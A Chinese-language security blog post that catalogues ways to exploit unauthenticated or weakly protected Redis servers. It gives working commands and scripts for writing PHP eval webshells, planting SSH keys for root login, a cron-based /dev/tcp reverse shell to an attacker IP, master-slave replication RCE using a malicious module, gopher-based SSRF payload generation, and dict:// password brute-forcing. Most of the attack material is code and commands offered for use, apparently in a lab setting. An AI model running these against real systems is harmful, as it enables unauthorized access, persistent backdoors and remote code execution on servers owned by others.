redis_利用方式大全


image.png

Redis是一个key-value存储系统。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

一、漏洞描述

Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

漏洞的产生条件有以下两点:

(1)    Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

(2)    没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

*主要是利用Redis未授权访问,实现像目标主机写入Webshell、SSH公钥,或写入计划任务实现反弹shell。

常规redis未授权分析

作为一个数据库,redis可以使用对应的客户端程序进行连接,如果存在未授权那么此时我们就可以根据无密码进行连接。

写webshell

image.png

*相关命令执行:

1
2
3
4
5
6
7
8
config get dir #查看redis数据库路径
config set dir /root/redis-2.8.17# #修改靶机Redis数据库路径
其实更多的我感觉是要修改文件的存储路径,web服务的目录之下的文件才能被访问到
config set dbfilename shell.php #生成shell.php文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"#将一句话木马写入文件中
#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"#上传木马可以通过蚁剑连接
save#保存

image.png

这是写入webshell,但是在我看来我们更需要把东西放到web目录之下

利用前提

1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证

2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经)

.还需要具有文件读写增删改查权限(开启web服务器,就可以利用url使用蚁剑进行连接)

写ssh

利用前提

1.当redis以root身份运行。*(我个人理解是因为.ssh目录在root之中所以必须要root)

2.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证。

3.存在/root/.ssh目录,如果不存在我们可以通过一句话木马连接蚁剑创建目录,不过可能进不去root目录,权限问题可能,或者自己mkdir一个目录毕竟是自己搭建靶场。因为.ssh是隐藏目录可以通过ls -la查看有没有。

生成公私钥之后

1
2
3
4
5
6
7
8
9
10
type key.txt | redis-cli.exe -h 192.168.43.141 -x set xxx#如果是linux 将type换成cat
#将公钥作为value插入到数据库中,key随便啥值。
redis-cli.exe -h 192.168.43.141 config set dir /root/.ssh
#修改redis数据库路径
redis-cli.exe -h 192.168.43.141 config set dbfilename authorized_keys
#生成缓冲文件authorized_keys
redis-cli.exe -h 192.168.43.141 save
#保存
ssh -i id_rsa root@192.168.43.141
#连接

其实语句都大差不差,都是切换目录生成对应文件,之后写入对应内容。

反弹shell

1
2
3
4
5
6
redis-cli.exe -h 192.168.43.141
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.43.102/8888 0>&1\n\n"
#前面五个星号分别表示 分 时 天 月 周 一般用于具体的定时时间。后面就是执行的命令。\n\n是换行前面已经说过,因为redis会出现乱码,可以通过上传的root文件看到有乱码。
save
反弹失误情况 反弹失败

主从复制

Redis 主从复制是一种用于实现数据备份、读写分离和故障恢复的技术。在 Redis 中,可以通过配置一个或多个从服务器(Slave)来复制一个主服务器(Master)的数据。主从复制的基本工作原理如下:

  1. 复制过程

    • 主服务器持续地将写操作命令(例如 SET、DEL)发送给所有连接的从服务器。
    • 从服务器接收到命令后,执行相同的命令,从而使得从服务器的数据和主服务器保持一致。
  2. 配置步骤

    • 在从服务器的配置文件中配置 slaveof 参数,指定它要复制的主服务器的地址和端口。
    • 从服务器连接到主服务器后,主服务器会创建一个后台线程来将数据发送给从服务器。
  3. 用途

    • 数据备份:从服务器可以用于备份主服务器的数据,以防止主服务器故障时的数据丢失。
    • 读写分离:主服务器负责处理写操作,而从服务器可以处理读操作,从而提升整体的读写性能。
    • 故障恢复:如果主服务器出现故障,可以将一个从服务器提升为新的主服务器,从而保证系统的高可用性。
  4. 配置选项

    • 可以配置从服务器只接收部分数据库的数据(replica-serve-stale-data)。
    • 可以配置从服务器成为主服务器时是否清除原有数据(replica-read-only)。
Redis主从复制利用原理

首先,我们通过一个简单的测试,来熟悉一下slave和master的握手协议过程:

*1、监听本地1234端口

nc -lvvp 1234

*2、将Redis服务器设置为从节点(slave)

slaveof 127.0.0.1 1234

*3、使用nc模拟Redis主服务器,进行模拟Redis主从交互过程(红色部分为slave发送的命令):

以上,通过nc进行模拟Redis主从复制的交互过程,同理,如果构建模拟一个Redis服务器,利用Redis主从复制的机制,那么就可以通过FULLRESYNC将任意文件同步到从节点

利用

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

通过脚本实现一键自动化getshell:

1、生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。

1
2
3
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make

2、攻击端执行: python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

1
2
3
4
5
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so

工具地址

ssrf 攻击redis

联合ssrf 进行攻击 Redis协议
https://xie.infoq.cn/article/f3dc94425d5b586d34e1beae3
ssrf 实践训练 ssrf
————- ————————————
首先了解一下resp协议

Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信

RESP 协议是在 Redis 1.2 中引入的,但它成为了与 Redis 2.0 中的 Redis 服务器通信的标准方式

RESP 实际上是一个支持以下数据类型的序列化协议:

  • 简单字符串

  • 错误

  • 整数

  • 批量字符串

  • 数组

RESP 在 Redis 中用作请求 - 响应协议的方式如下:

  1. 客户端将命令作为Bulk Strings的 RESP 数组发送到 Redis 服务器

  2. 服务器根据命令实现回复一种 RESP 类型

在 RESP 中,某些数据的类型取决于第一个字节:

  • 对于客户端请求Simple Strings,回复的第一个字节是+

  • 对于客户端请求error,回复的第一个字节是-

  • 对于客户端请求Integer,回复的第一个字节是:

  • 对于客户端请求Bulk Strings,回复的第一个字节是$

  • 对于客户端请求array,回复的第一个字节是*

此外,RESP能够使用稍后指定的Bulk StringsArray的特殊变体来表示Null值。

在 RESP 中,协议的不同部分始终以"\r\n"(CRLF)结束。

可以看到客户端将命令发送到 Redis 服务器的流程为

  • 客户端向 Redis 服务器发送一个仅由 Bulk Strings 组成的 RESP Arrays

  • Redis 服务器发送任何有效 RESP 数据类型作为回复返回给客户端

Bulk Strings 用于表示长度最大为 512 MB 的单个二进制安全字符串,按以下方式编码:

  • $字节数:一个$后跟组成字符串的字节数,由 CRLF 终止。

  • 字符串数据

  • CRLF

字符串f4ke的编码如下:$4\r\nf4ke\r\n,如下图格式

 RESP Arrays 使用以下格式发送:

  • *元素数*字符作为第一个字节,后跟数组中的元素数,后跟 CRLF

  • 数组中的每个元素都附加 RESP 类型

  • 每一个*number代表每一行命令,number 代表每行命令中数组中的元素个数

  • 图中的*3,代表config get dbfilename这行命令的 3 个元素

  • $number代表每个元素的长度

  • $6,代表config长度

可以看到一个协议内容,严格根据协议的规定来写的,因此如果说我们想要利用gopher协议的话,我们就需要在gopher协议之后利用resp协议的内容。

有密码验证
1
2
3
4
5
*2
$4
AUTH
$6
123123

即使是有密码,也只是每一个命令都加一个验证的部分罢了

exp

根据我们的协议内容,我们正常的去连接redis然后执行的一些命令,我们需要写成resp协议的方式
例如:我们写webshell的命令

1
2
3
4
5
6
flushall
set 1 '<?php eval($_POST\[\\"f4ke\\"\]);?>'
config set dir /var/www/html
config set dbfilename 5he1l.php
save
quit

我们需要转化成resp协议格式再加上gopher协议头 例如下图可以直接执行这个命令
http://xx.xx.xx.xx:8000/ssrf.php?url=gopher://127.0.0.1:6788/_*1
$8
flushall
*3
$3
set
$1
1
$33

*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
5he1l.php
*1
$4
save
*1
$4
quit

工具使用

  1. gopher工具可以直接生成payload
  2. ssrf-redis 脚本(将命令生成resp协议格式配合gopher协议)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# Time:2024/7/21  
# Author:K1t0
import urllib.parse

# 函数功能: 将redis命令 编写成resp协议形式
def redis_format(arr):
CRLF="\r\n" # 这是redis协议的规定
redis_arr=arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("$"," "))))+CRLF+x.replace("$"," ")
return cmd


if __name__=="__main__":

protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
shell = "\n\n<?php eval($_POST[\"k1t0\"]);?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ", "$")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
for x in cmd:
payload+=urllib.parse.quote(redis_format(x))
#print(payload)
print(urllib.parse.quote(payload))

redis 有密码

msf

直接就是使用msf 的 redis_login 模块

hydra爆破

Redis 弱口令

1
dict://serverip:port/命令:参数

通过两次响应结果,可以确定 Redis 的密码为 123123,可以实现脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import urllib.request
import urllib.parse 

url = "http://xx.xx.xx.xx:8000/ssrf.php?url="

param = 'dict://127.0.0.1:6788/auth:'

with open(r'd:\\test\\top100.txt''r'as f:
    for i in range(100):
        passwd = f.readline()
        all_url = url + param + passwd
        # print(all_url)
        request = urllib.request.Request(all_url)
        response = urllib.request.urlopen(request).read()
        # print(response)
        if "+OK\\r\\n+OK\\r\\n".encode() in response:
            print("redis passwd: " + passwd)
            break

文章作者: K1T0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 K1T0 !
  目录